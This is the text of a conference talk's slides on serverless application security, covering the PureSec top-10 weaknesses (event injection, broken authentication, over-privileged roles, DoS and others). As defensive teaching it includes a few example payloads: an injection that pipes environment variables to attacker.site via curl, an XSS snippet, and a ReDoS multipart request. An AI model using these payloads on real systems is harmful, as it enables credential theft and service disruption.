The document discusses serverless application security, highlighting the evolving responsibilities of application owners and the inadequacy of traditional security tools. It outlines the top 10 most common weaknesses in serverless environments and emphasizes the importance of protecting against these vulnerabilities through proper permissions, monitoring, and secure practices. The author, Avi Shulman, leverages his extensive cybersecurity experience to guide developers in enhancing their serverless applications' security.

1. Join the conversation #DevSecCon
BY AVI SHULMAN
Serverless Security:
A Survival Guide

2. About Me
• I’m Avi Shulman, VP R&D and Co-Founder @ PureSec
• I’ve been involved in cyber-security for the past 10+ years
• Served in an elite cyber security unit in the IDF
• F5 Networks - fraud and web application security research
• Argus Cyber Security – automotive security
• Twitter: @shulik

3. Agenda
• Application Security in the Age of Serverless
• The paradigm shift
• Serverless application security challenges
• Top 10 most common serverless weaknesses

4. Application Security in the
Age of Serverless

5. The Application Owner Has the Responsibility of
Securing the Application Layer
FaaS Provider
Responsible
for security
“in” the cloud
Regions Availability Zones Edge Locations
Compute Storage Database Networking
Operating System + Virtual Machines + Containers
Application
Owner
Responsible
for security
“in” the cloud
Applications (Functions)
Identity & Access
Management
Cloud Services configuration
Client-Side Data in Cloud Data in Transit
YOU
ARE
HERE

6. Serverless Application Security – The Risks
F
1. Event
2. Operation
3. Interaction
4. OutputHTTP/S, File, DB, Stream,
SMS, Email, Queue etc.
Malicious code deployment /
3rd party library
Compromised component
1. Use of functions cloud access
credentials
2. Access data from other executions of
the same functions
3. Steal sessions
4. Get function’s code
5. DoS
6. Call other functions
7. Etc.

7. Why Not Protect It With Our Existing Tools?
Traditional Security
Focuses on protecting
applications by securing
the network and servers
Serverless
The application owner
doesn't have any control
over the infrastructure
Traditional security solutions have become irrelevant

8. Serverless Application Security
Challenges
• Security testing is challenging (DAST, IAST, SAST)
• Increased attack surface
• Many input data types (event triggers)
• Lack of visibility

9. Your Serverless functions are very likely
the least secure compute service in your
cloud environment

10. Serverless Security Top 10 Guide
Research by PureSec, together with:
https://www.puresec.io/resource-download

11. Serverless Security Top 10 Most Common Weaknesses

12. SAS-1: Function Event Data Injection
The serverless-angle:
• Many types of event triggers, means
many types of input formats, and
many entry points
• Traditional protections such as WAF
are incapable of inspecting non-HTTP
event trigger data
Occurs when untrusted input is passed
directly to an interpreter and eventually
gets executed or evaluated
(No)SQLi, XSS, LFI, RFI, Code Inj., …
In a nutshell:
foobar@some.site; env | curl -H "Content-Type: text/plain" -X POST -d @-
http://attacker.site/collector

13. SAS-1: More Real World Examples
13
Send messages via a RESTful API MySQLDump via Email
curl "https://../send/sms?message=foo<script>attack_payload</script>

14. SAS-2: Broken Authentication
The serverless-angle:
• Serverless promotes Nano-Services 
many digital properties to enforce
authentication on
• Serverless functions may expose
unnecessary entry points
• Some functions may be triggered by less
secure cloud services
• IoT device authentication can sometimes
be tricky to implement
A weak authentication implementation
might enable an attacker to bypass
application logic and manipulate its flow
In a nutshell:
Example: API gateway enforces auth., but an S3 bucket with public access, serves as
another ”rogue” entry point (triggering a Lambda)

15. SAS-3: Insecure Serverless Deployment Configuration
The serverless-angle:
• Unauthenticated (public) cloud storage access
• Unauthenticated Web-to-Function access
• Unencrypted storage (secrets, DBs, file storage)
• Complex & tedious IAM permissions and roles
• Multiple versions of the same function
Cloud and serverless vendors in particular, offer many
customizations and configuration settings, some of which have
critical security implications.
Defaults != the most secure
In a nutshell:

16. SAS-4: Over Privileged Function Permissions & Roles
The Least Privileged concept, helps reduce the “blast
radius” in case something goes wrong.
The serverless-angle:
• Functions should only be given permissions required to
properly perform their task
• Serverless promotes nano-services architecture, which
means a complex roles & permissions model to manage
• When functions receive over-permissive rights, each
function becomes a potential attack target, and can be
leveraged for lateral movement
In a nutshell:

17. SAS-5: Inadequate Function Monitoring & Logging
The serverless-angle:
• Serverless functions execute in the cloud, and are
“ephemeral”
• Traditional “on premise” or host-based security monitoring
solutions irrelevant. Event monitoring tools & procedures
are inapt
• Existing logging facilities provided by cloud vendors are not
always good enough, or disregarded by teams unfamiliar
with such capabilities
• Every cyber “intrusion kill chain” usually commences with a reconnaissance phase
• A key element in most successful major breaches was the lack of real-time incident
response, which was caused by failure to detect early signals of an attack
In a nutshell:
?CAN YOU SPOT THE ATTACK IN CLOUDWATCH?

18. SAS-6: Insecure 3rd Party Dependencies
The serverless-angle:
Serverless functions are usually compact
and focused. This means that developers
must import 3rd party logic from
(potentially) untrusted sources
Even the most secure application will
become vulnerable when introduced
with vulnerable 3rd party
dependencies
In a nutshell:

19. SAS-7: Insecure Application Secrets Storage
19
The serverless-angle:
• Serverless functions are oftentimes stateless. This
means that in order to persist data, developers are
required to use environment variables or insecure
configuration files
• Storing secrets securely, requires using a key
management system, which not every developer is
accustomed to, especially in cloud environments
Storing sensitive data, encryption keys or other types of
application secrets, in an insecure fashion, can lead to
data leakage
In a nutshell:

20. SAS-8: DoS & Financial Resource Exhaustion
The serverless-angle:
• Poor design & coding, can easily turn a
serverless function into a DoS target
• Application layer DoS (e.g. ReDoS or Billion-
Laughs-Attack) becomes prominent
• Traditional IP-based request throttling or
blacklisting are irrelevant in many scenarios
• Instead of denying other users from service
(DoS), attackers can attempt to cause
excessive usage, and inflict a financial penalty
on the victim company
• Dramatic increase in the frequency & volume of
DoS attacks - largest attack seen was 1.3 Tbps!
• Serverless architectures bring a promise of
automated scalability but there are limitations
and issues which require attention
In a nutshell:
POST /app HTTP/1.1
Host: xxxxxxxxxxxx.execute-api.us-east-1.amazonaws.com
Content-Length: 327
Content-Type: multipart/form-data; boundary=(.+)+$
Connection: keep-alive
(.+)+$
Content-Disposition: form-data; name="text"
...

21. SAS-9: Function Execution Flow Manipulation
The serverless-angle:
• In some serverless apps, the order of invocation
might be critical for achieving the desired logic
• Design might assume that certain functions are
only invoked under specific scenarios and only by
authorized invokers
• AWS Step Functions, Azure Logic Apps and
Durable Functions (serverless state machines)
• Manipulation of application flow may
help attackers to subvert application
logic
• Attackers can eventually bypass access
controls, elevate user privileges or even
mount a Denial of Service attack
In a nutshell:

22. SAS-10: Verbose Error Messages & Exceptions
The serverless-angle:
• Since many developers are making their
first steps in serverless, there is a tendency
to:
• Use over-verbose error messages
• Enable debugging environment
variables and eventually forget to clean
the code when moving it to the
production environment
• Raise your hand if you never used debug
printing!
• Available options for performing line-by-
line debugging of serverless based
applications is rather limited
In a nutshell:

23. What Should You Do To Secure Your Serverless Apps?
Make Sure Your Functions are Least privileged
and hardened
Know when you’re being attacked
Block malicious event inputs
Detect & prevent malicious behaviors
Gain visibility into your security posture

24. THANK YOU